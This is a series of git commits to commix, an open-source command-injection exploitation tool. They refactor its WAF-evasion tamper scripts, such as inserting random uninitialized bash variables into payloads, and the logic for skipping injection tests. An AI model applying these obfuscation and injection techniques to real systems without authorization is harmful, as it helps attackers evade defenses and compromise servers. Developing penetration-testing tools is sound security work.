len(word), 1)) + if _ in payload: + payload = payload.replace(_,_.replace(obf_char,"")) return payload if settings.TARGET_OS != "win": diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py index e894055abf..51a7ecabef 100644 --- a/src/core/tamper/uninitializedvariable.py +++ b/src/core/tamper/uninitializedvariable.py @@ -14,10 +14,6 @@ """ import re -import sys -import random -import string -from src.utils import menu from src.utils import settings """ @@ -34,20 +30,12 @@ def tamper(payload): def add_uninitialized_variable(payload): settings.TAMPER_SCRIPTS[__tamper__] = True - rep = { - "${uv}I${uv}F${uv}S": "IFS", - "${uv}i${uv}f": "if", - "${uv}t${uv}h${uv}e${uv}n": "then", - "${uv}e${uv}l${uv}s${uv}e": "else", - "${uv}f${uv}i": "fi", - "${uv}s${uv}t${uv}r": "str", - "${uv}c${uv}m${uv}d": "cmd", - "${uv}c${uv}ha${uv}r": "char" - } + obf_char = "${uv}" payload = re.sub(r'([b-zD-Z])', r"${uv}\1", payload) - rep = dict((re.escape(k), v) for k, v in rep.items()) - pattern = re.compile("|".join(rep.keys())) - payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload) + for word in settings.IGNORE_TAMPER_TRANSFORMATION: + _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) + if _ in payload: + payload = payload.replace(_,_.replace(obf_char,"")) return payload if settings.TARGET_OS != "win": diff --git a/src/utils/settings.py b/src/utils/settings.py index 69f87ad17d..d5bef6f5f7 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "28" +REVISION = "29" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1062,6 +1062,17 @@ class AUTH_TYPE(object): "uninitializedvariable" ] +IGNORE_TAMPER_TRANSFORMATION = [ + "IFS", + "if", + "then", + "else", + "fi", + "str", + "cmd", + "char" +] + # HTTP Errors BAD_REQUEST = "400" UNAUTHORIZED_ERROR = "401" From 6cca54e500be0a3435177117669dc6b9d2a6614a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 11 Jun 2023 08:48:31 +0300 Subject: [PATCH 313/560] Minor improvement regarding skipping further tests involving target that an injection point has already been detected. --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 50 ++++++++ src/core/injections/controller/controller.py | 124 +++++-------------- src/utils/settings.py | 2 +- 4 files changed, 85 insertions(+), 92 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 255ce6cbb4..b2be385d7d 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.8 (TBA) +* Revised: Minor improvement regarding skipping further tests involving target that an injection point has already been detected. * Revised: Minor code refactoring regarding multiple tamper scripts (i.e. "backslashes.py", "dollaratsigns.py", "doublequotes.py", "singlequotes.py", "uninitializedvariable.py"). * Added: New tamper script "rev.py" that reverses (characterwise) the user-supplied operating system commands (for *nix targets). * Fixed: Minor bug-fix regarding checking for similarity in provided parameter(s) name(s) and value(s). diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 8e7362ff5b..584f8a6db1 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -112,6 +112,56 @@ def check_custom_injection_marker(url): common.invalid_option(procced_option) pass + +def skipping_technique(technique, injection_type, state): + if settings.VERBOSITY_LEVEL != 0 and state != True: + debug_msg = "Skipping test the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " + print(settings.print_debug_msg(debug_msg)) + +""" +Skipping of code injection tests. +""" +def skip_code_injection_tests(): + while True: + message = "Skipping of code injection tests is recommended. " + message += "Do you agree? [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) + if procced_option in settings.CHOICE_YES: + settings.SKIP_CODE_INJECTIONS = True + return + elif procced_option in settings.CHOICE_NO: + return + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(procced_option) + pass + +""" +Skipping of further command injection tests. +""" +def skip_command_injection_tests(): + if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: + _ = "" + else: + _ = "further " + while True: + message = "Skipping of "+ _ +"command injection tests is recommended. " + message += "Do you agree? [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) + if procced_option in settings.CHOICE_YES: + settings.SKIP_COMMAND_INJECTIONS = True + return + elif procced_option in settings.CHOICE_NO: + if settings.SKIP_COMMAND_INJECTIONS: + settings.SKIP_COMMAND_INJECTIONS = False + return + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(procced_option) + pass + """ The available mobile user agents. """ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 6da7669e24..2f7025e63d 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -40,6 +40,13 @@ Checks if the testable parameter is exploitable. """ +def basic_level_checks(): + settings.SKIP_CODE_INJECTIONS = False + settings.SKIP_COMMAND_INJECTIONS = False + settings.IDENTIFIED_COMMAND_INJECTION = False + settings.IDENTIFIED_WARNINGS = False + settings.IDENTIFIED_PHPINFO = False + """ Check for previously stored sessions. """ @@ -195,105 +202,69 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t def classic_command_injection_technique(url, timesec, filename, http_request_method): injection_type = "results-based OS command injection" technique = "classic command injection technique" + settings.CLASSIC_STATE = None if not settings.SKIP_COMMAND_INJECTIONS: if (len(menu.options.tech) == 0 or "c" in menu.options.tech): - settings.CLASSIC_STATE = None if cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) != False: - if (len(menu.options.tech) == 0 or "e" in menu.options.tech): - while True: - settings.CLASSIC_STATE = True - message = "Skipping of code injection tests is recommended. " - message += "Do you agree? [Y/n] > " - procced_option = common.read_input(message, default="Y", check_batch=True) - if procced_option in settings.CHOICE_YES: - settings.SKIP_CODE_INJECTIONS = True - break - elif procced_option in settings.CHOICE_NO: - break - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(procced_option) - pass + settings.CLASSIC_STATE = True + checks.skip_command_injection_tests() else: settings.CLASSIC_STATE = False - else: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping test the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " - print(settings.print_debug_msg(debug_msg)) + if settings.CLASSIC_STATE == None: + checks.skipping_technique(technique, injection_type, settings.CLASSIC_STATE) # Check if it's exploitable via dynamic code evaluation technique. def dynamic_code_evaluation_technique(url, timesec, filename, http_request_method): injection_type = "results-based dynamic code evaluation" technique = "dynamic code evaluation technique" + settings.EVAL_BASED_STATE = None if not settings.SKIP_CODE_INJECTIONS: if (len(menu.options.tech) == 0 or "e" in menu.options.tech) or settings.SKIP_COMMAND_INJECTIONS: - settings.EVAL_BASED_STATE = None if eb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) != False: - while True: - settings.EVAL_BASED_STATE = True - message = "Skipping of further command injection checks is recommended. " - message += "Do you agree? [Y/n] > " - procced_option = common.read_input(message, default="Y", check_batch=True) - if procced_option in settings.CHOICE_YES: - settings.SKIP_COMMAND_INJECTIONS = True - break - elif procced_option in settings.CHOICE_NO: - if settings.SKIP_COMMAND_INJECTIONS: - settings.SKIP_COMMAND_INJECTIONS = False - break - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(procced_option) - pass + settings.EVAL_BASED_STATE = True + if not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: + checks.skip_command_injection_tests() else: settings.EVAL_BASED_STATE = False - else: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping test the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " - print(settings.print_debug_msg(debug_msg)) - else: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping test the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " - print(settings.print_debug_msg(debug_msg)) + if settings.EVAL_BASED_STATE == None: + checks.skipping_technique(technique, injection_type, settings.EVAL_BASED_STATE) # Check if it's exploitable via time-based command injection technique. def timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response): injection_type = "blind OS command injection" technique = "time-based command injection technique" + settings.TIME_BASED_STATE = None if not settings.SKIP_COMMAND_INJECTIONS: if (len(menu.options.tech) == 0 or "t" in menu.options.tech): - settings.TIME_BASED_STATE = None if tb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) != False: settings.TIME_BASED_STATE = True + checks.skip_command_injection_tests() else: settings.TIME_BASED_STATE = False - else: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping test the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " - print(settings.print_debug_msg(debug_msg)) + if settings.TIME_BASED_STATE == None: + checks.skipping_technique(technique, injection_type, settings.TIME_BASED_STATE) # Check if it's exploitable via file-based command injection technique. def filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response): injection_type = "semi-blind command injection" technique = "file-based command injection technique" + settings.FILE_BASED_STATE = None if not settings.SKIP_COMMAND_INJECTIONS: if (len(menu.options.tech) == 0 or "f" in menu.options.tech): - settings.FILE_BASED_STATE = None if fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) != False: settings.FILE_BASED_STATE = True else: settings.FILE_BASED_STATE = False - else: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping test the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " - print(settings.print_debug_msg(debug_msg)) + if settings.FILE_BASED_STATE == None: + checks.skipping_technique(technique, injection_type, settings.FILE_BASED_STATE) """ Proceed to the injection process for the appropriate parameter. """ def injection_proccess(url, check_parameter, http_request_method, filename, timesec): + if settings.PERFORM_BASIC_SCANS: + basic_level_checks() + inject_http_headers = False if (http_request_method == settings.HTTPMETHOD.GET and check_parameter.lower() not in url) or \ (http_request_method == settings.HTTPMETHOD.POST and menu.options.data and check_parameter.lower() not in menu.options.data): @@ -340,13 +311,13 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if menu.options.skip_heuristics: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping heuristic (basic) tests to the target URL." + debug_msg = "Skipping heuristic (basic) tests to the " + settings.CHECKING_PARAMETER + "." print(settings.print_debug_msg(debug_msg)) else: if not settings.LOAD_SESSION: checks.recognise_payload(payload=settings.TESTABLE_VALUE) if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Performing heuristic (basic) tests to the target URL." + debug_msg = "Performing heuristic (basic) tests to the " + settings.CHECKING_PARAMETER + "." print(settings.print_debug_msg(debug_msg)) if not (len(menu.options.tech) == 1 and "e" in menu.options.tech): @@ -356,21 +327,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time # Check for identified warnings url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: - while True: - message = "Skipping of further command injection tests is recommended. " - message += "Do you agree? [Y/n] > " - procced_option = common.read_input(message, default="Y", check_batch=True) - if procced_option in settings.CHOICE_YES: - settings.CLASSIC_STATE = settings.TIME_BASED_STATE = settings.FILE_BASED_STATE = False - settings.EVAL_BASED_STATE = settings.SKIP_COMMAND_INJECTIONS = True - break - elif procced_option in settings.CHOICE_NO: - break - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(procced_option) - pass + checks.skip_command_injection_tests() if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: warn_msg = "Heuristic (basic) tests shows that " @@ -396,13 +353,12 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if settings.SKIP_COMMAND_INJECTIONS: dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) - classic_command_injection_technique(url, timesec, filename, http_request_method) else: classic_command_injection_technique(url, timesec, filename, http_request_method) if not settings.IDENTIFIED_COMMAND_INJECTION: dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) - timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) - filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) + timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) + filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) # All injection techniques seems to be failed! if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False : @@ -682,17 +638,6 @@ def perform_checks(url, http_request_method, filename): if settings.MULTI_TARGETS or settings.STDIN_PARSING and len(settings.WHITESPACES) > 1: settings.WHITESPACES = ["%20"] - def basic_level_checks(): - if settings.MULTI_TARGETS or settings.STDIN_PARSING: - settings.PERFORM_BASIC_SCANS = True - else: - settings.PERFORM_BASIC_SCANS = False - settings.SKIP_CODE_INJECTIONS = False - settings.SKIP_COMMAND_INJECTIONS = False - settings.IDENTIFIED_COMMAND_INJECTION = False - settings.IDENTIFIED_WARNINGS = False - settings.IDENTIFIED_PHPINFO = False - timesec = settings.TIMESEC # Check if authentication is needed. if menu.options.auth_url and menu.options.auth_data: @@ -721,9 +666,6 @@ def basic_level_checks(): menu.options.level = settings.USER_SUPPLIED_LEVEL check_for_stored_levels(url, http_request_method) - if settings.PERFORM_BASIC_SCANS: - basic_level_checks() - # Custom header Injection if settings.CUSTOM_HEADER_INJECTION == True: check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME diff --git a/src/utils/settings.py b/src/utils/settings.py index d5bef6f5f7..b71675b7f9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "29" +REVISION = "30" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 6e57cbbdcc35433370fe50d8cb16c21d3b65c1eb Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 12 Jun 2023 09:11:36 +0300 Subject: [PATCH 314/560] Minor improvement regarding tamper script "uninitializedvariable.py", for adding randomly generated uninitialized bash variables between the characters of each command of the generated payloads. --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 2 +- src/core/tamper/uninitializedvariable.py | 9 ++++++--- src/utils/settings.py | 2 +- 4 files changed, 9 insertions(+), 5 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index b2be385d7d..efabe5c04b 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.8 (TBA) +* Revised: Minor improvement regarding tamper script "uninitializedvariable.py", for adding randomly generated uninitialized bash variables between the characters of each command of the generated payloads. * Revised: Minor improvement regarding skipping further tests involving target that an injection point has already been detected. * Revised: Minor code refactoring regarding multiple tamper scripts (i.e. "backslashes.py", "dollaratsigns.py", "doublequotes.py", "singlequotes.py", "uninitializedvariable.py"). * Added: New tamper script "rev.py" that reverses (characterwise) the user-supplied operating system commands (for *nix targets). diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 584f8a6db1..1bdf1d08e2 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1386,7 +1386,7 @@ def other_symbols(payload): payload = dollaratsigns.tamper(payload) # Check for uninitialized variable - if payload.count("${uv}") >= 2 and settings.TARGET_OS == "unix": + if len(re.findall(r'\${.*?}', payload)) >= 10 and settings.TARGET_OS == "unix": if not settings.TAMPER_SCRIPTS['uninitializedvariable']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",uninitializedvariable" diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py index 51a7ecabef..832c114365 100644 --- a/src/core/tamper/uninitializedvariable.py +++ b/src/core/tamper/uninitializedvariable.py @@ -14,10 +14,12 @@ """ import re +import random +import string from src.utils import settings """ -About: Adds uninitialized bash variables between the characters of each command of the generated payloads. +About: Adds (randomly generated) uninitialized bash variables, between the characters of each command of the generated payloads. Notes: This tamper script works against Unix-like target(s). Reference: https://www.secjuice.com/web-application-firewall-waf-evasion/ """ @@ -30,8 +32,9 @@ def tamper(payload): def add_uninitialized_variable(payload): settings.TAMPER_SCRIPTS[__tamper__] = True - obf_char = "${uv}" - payload = re.sub(r'([b-zD-Z])', r"${uv}\1", payload) + num = 2 + obf_char = "${" + ''.join(random.choice(string.ascii_letters) for x in range(num)) + "}" + payload = re.sub(r'([b-zD-Z])', lambda x: obf_char + x[0], payload) for word in settings.IGNORE_TAMPER_TRANSFORMATION: _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) if _ in payload: diff --git a/src/utils/settings.py b/src/utils/settings.py index b71675b7f9..1da201a3a7 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "30" +REVISION = "31" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From d6465535e1359310e9c5713d2228def425f39719 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 13 Jun 2023 07:37:58 +0300 Subject: [PATCH 315/560] Minor update --- src/core/injections/controller/checks.py | 47 ++++++------------------ src/utils/settings.py | 2 +- 2 files changed, 13 insertions(+), 36 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 1bdf1d08e2..b12d958545 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1210,7 +1210,7 @@ def list_tamper_scripts(): Tamper script checker """ def tamper_scripts(stored_tamper_scripts): - if menu.options.tamper and stored_tamper_scripts is False: + if menu.options.tamper: # Check the provided tamper script(s) available_scripts = [] provided_scripts = list(set(re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.tamper.lower()))) @@ -1348,17 +1348,15 @@ def whitespace_check(payload): """ def other_symbols(payload): # Check for reversed (characterwise) user-supplied operating system commands. - if payload.count("|rev") >= 1 and settings.TARGET_OS == "unix": + if payload.count("|rev") >= 1 and settings.TARGET_OS != "win": if not settings.TAMPER_SCRIPTS['rev']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",rev" else: menu.options.tamper = "rev" - from src.core.tamper import rev - payload = rev.tamper(payload) # Check for (multiple) backticks (instead of "$()") for commands substitution on the generated payloads. - if payload.count("`") >= 2 and settings.TARGET_OS == "unix": + if payload.count("`") >= 2 and settings.TARGET_OS != "win": if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",backticks" else: @@ -1372,99 +1370,81 @@ def other_symbols(payload): menu.options.tamper = menu.options.tamper + ",caret" else: menu.options.tamper = "caret" - from src.core.tamper import caret - payload = caret.tamper(payload) # Check for dollar sign followed by an at-sign - if payload.count("$@") >= 10 and settings.TARGET_OS == "unix": + if payload.count("$@") >= 10 and settings.TARGET_OS != "win": if not settings.TAMPER_SCRIPTS['dollaratsigns']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",dollaratsigns" else: menu.options.tamper = "dollaratsigns" - from src.core.tamper import dollaratsigns - payload = dollaratsigns.tamper(payload) # Check for uninitialized variable - if len(re.findall(r'\${.*?}', payload)) >= 10 and settings.TARGET_OS == "unix": + if len(re.findall(r'\${.*?}', payload)) >= 10 and settings.TARGET_OS != "win": if not settings.TAMPER_SCRIPTS['uninitializedvariable']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",uninitializedvariable" else: menu.options.tamper = "uninitializedvariable" - from src.core.tamper import uninitializedvariable - payload = uninitializedvariable.tamper(payload) # Check for environment variable value variable - if payload.count("${PATH%%u*}") >= 2 and settings.TARGET_OS == "unix": + if payload.count("${PATH%%u*}") >= 2 and settings.TARGET_OS != "win": if not settings.TAMPER_SCRIPTS['slash2env']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",slash2env" else: menu.options.tamper = "slash2env" - from src.core.tamper import slash2env - payload = slash2env.tamper(payload) """ Check for (multiple) added back slashes between the characters of the generated payloads. """ def check_backslashes(payload): # Check for single quotes - if payload.count("\\") >= 15 and settings.TARGET_OS == "unix": + if payload.count("\\") >= 15 and settings.TARGET_OS != "win": if not settings.TAMPER_SCRIPTS['backslashes']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",backslashes" else: menu.options.tamper = "backslashes" - from src.core.tamper import backslashes - payload = backslashes.tamper(payload) """ Check for quotes in the generated payloads. """ def check_quotes(payload): # Check for double quotes around of the generated payloads. - if payload.endswith("\"") and settings.TARGET_OS == "unix": + if payload.endswith("\"") and settings.TARGET_OS != "win": if not settings.TAMPER_SCRIPTS['nested']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",nested" else: menu.options.tamper = "nested" - from src.core.tamper import nested - payload = nested.tamper(payload) # Check for (multiple) added double-quotes between the characters of the generated payloads. - if payload.count("\"") >= 10 and settings.TARGET_OS == "unix": + if payload.count("\"") >= 10 and settings.TARGET_OS != "win": if not settings.TAMPER_SCRIPTS['doublequotes']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",doublequotes" else: menu.options.tamper = "doublequotes" - from src.core.tamper import doublequotes - payload = doublequotes.tamper(payload) # Check for (multiple) added single-quotes between the characters of the generated payloads. - if payload.count("''") >= 10 and settings.TARGET_OS == "unix": + if payload.count("''") >= 10 and settings.TARGET_OS != "win": if not settings.TAMPER_SCRIPTS['singlequotes']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",singlequotes" else: menu.options.tamper = "singlequotes" - from src.core.tamper import singlequotes - payload = singlequotes.tamper(payload) """ Recognise the payload. """ def recognise_payload(payload): - if "usleep" in payload and settings.TARGET_OS == "unix": + if "usleep" in payload and settings.TARGET_OS != "win": if not settings.TAMPER_SCRIPTS['sleep2usleep']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",sleep2usleep" else: menu.options.tamper = "sleep2usleep" - from src.core.tamper import sleep2usleep - payload = sleep2usleep.tamper(payload) elif "timeout" in payload: if not settings.TAMPER_SCRIPTS['sleep2timeout']: @@ -1472,8 +1452,6 @@ def recognise_payload(payload): menu.options.tamper = menu.options.tamper + ",sleep2timeout" else: menu.options.tamper = "sleep2timeout" - from src.core.tamper import sleep2timeout - payload = sleep2timeout.tamper(payload) is_decoded = False encoded_with = "" @@ -1562,9 +1540,8 @@ def check_for_stored_tamper(payload): Perform payload modification """ def perform_payload_modification(payload): - settings.RAW_PAYLOAD = payload.replace(settings.WHITESPACES[0], settings.SINGLE_WHITESPACE) - + for extra_http_headers in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): if extra_http_headers == "xforwardedfor": from src.core.tamper import xforwardedfor diff --git a/src/utils/settings.py b/src/utils/settings.py index 1da201a3a7..22024def71 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "31" +REVISION = "32" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 031c401acce9163d9a3c69752b8318b555541513 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 14 Jun 2023 07:32:58 +0300 Subject: [PATCH 316/560] Minor code refactoring --- .../techniques/time_based/tb_enumeration.py | 14 ++--- .../techniques/time_based/tb_file_access.py | 4 +- .../blind/techniques/time_based/tb_handler.py | 2 +- .../techniques/time_based/tb_injector.py | 8 +-- .../techniques/time_based/tb_payloads.py | 24 ++++----- src/core/injections/controller/checks.py | 52 +++++++++---------- .../techniques/classic/cb_enumeration.py | 20 +++---- .../techniques/classic/cb_file_access.py | 4 +- .../techniques/classic/cb_injector.py | 2 +- .../techniques/classic/cb_payloads.py | 8 +-- .../techniques/eval_based/eb_enumeration.py | 18 +++---- .../techniques/eval_based/eb_file_access.py | 4 +- .../techniques/eval_based/eb_payloads.py | 8 +-- .../techniques/file_based/fb_enumeration.py | 18 +++---- .../techniques/file_based/fb_file_access.py | 4 +- .../techniques/file_based/fb_handler.py | 10 ++-- .../techniques/file_based/fb_injector.py | 2 +- .../techniques/file_based/fb_payloads.py | 12 ++--- .../tempfile_based/tfb_enumeration.py | 16 +++--- .../tempfile_based/tfb_file_access.py | 4 +- .../techniques/tempfile_based/tfb_handler.py | 6 +-- .../techniques/tempfile_based/tfb_injector.py | 8 +-- .../techniques/tempfile_based/tfb_payloads.py | 24 ++++----- src/core/requests/requests.py | 10 ++-- src/core/shells/bind_tcp.py | 6 +-- src/core/shells/reverse_tcp.py | 14 ++--- src/core/tamper/backslashes.py | 2 +- src/core/tamper/caret.py | 2 +- src/core/tamper/dollaratsigns.py | 2 +- src/core/tamper/doublequotes.py | 2 +- src/core/tamper/nested.py | 4 +- src/core/tamper/singlequotes.py | 2 +- src/core/tamper/slash2env.py | 2 +- src/core/tamper/sleep2timeout.py | 2 +- src/core/tamper/sleep2usleep.py | 2 +- src/core/tamper/space2ifs.py | 2 +- src/core/tamper/space2vtab.py | 2 +- src/core/tamper/uninitializedvariable.py | 2 +- src/utils/settings.py | 8 ++- 39 files changed, 170 insertions(+), 166 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index 919491f8af..45eb92f62c 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -66,7 +66,7 @@ def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h """ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: @@ -80,7 +80,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) if target_os: - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: cmd = settings.DISTRO_INFO if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: if settings.VERBOSITY_LEVEL == 0 and _: @@ -92,7 +92,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, distro_name = output if len(distro_name) != 0: target_os = target_os + settings.SINGLE_WHITESPACE + distro_name - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_RECOGNISE_HP else: cmd = settings.RECOGNISE_HP @@ -112,7 +112,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, """ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: settings.CURRENT_USER = settings.WIN_CURRENT_USER cmd = settings.CURRENT_USER if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: @@ -129,7 +129,7 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese """ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.IS_ADMIN else: cmd = settings.IS_ROOT @@ -147,7 +147,7 @@ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whites def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False cmd = settings.SYS_USERS - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_SYS_USERS cmd = cmd + settings.WIN_REPLACE_WHITESPACE if alter_shell: @@ -253,7 +253,7 @@ def reset(): if menu.options.passwords: if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: check_option = "--passwords" checks.unavailable_option(check_option) else: diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py index 2615931ce5..3756ebc2cd 100755 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py @@ -34,7 +34,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False file_to_write, dest_to_write, content = checks.check_file_to_write() - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: _ = True from src.core.injections.results_based.techniques.classic import cb_injector whitespace = settings.WHITESPACES[0] @@ -103,7 +103,7 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h settings.FILE_ACCESS_DONE = True if menu.options.file_upload: - if settings.TARGET_OS == "win": + 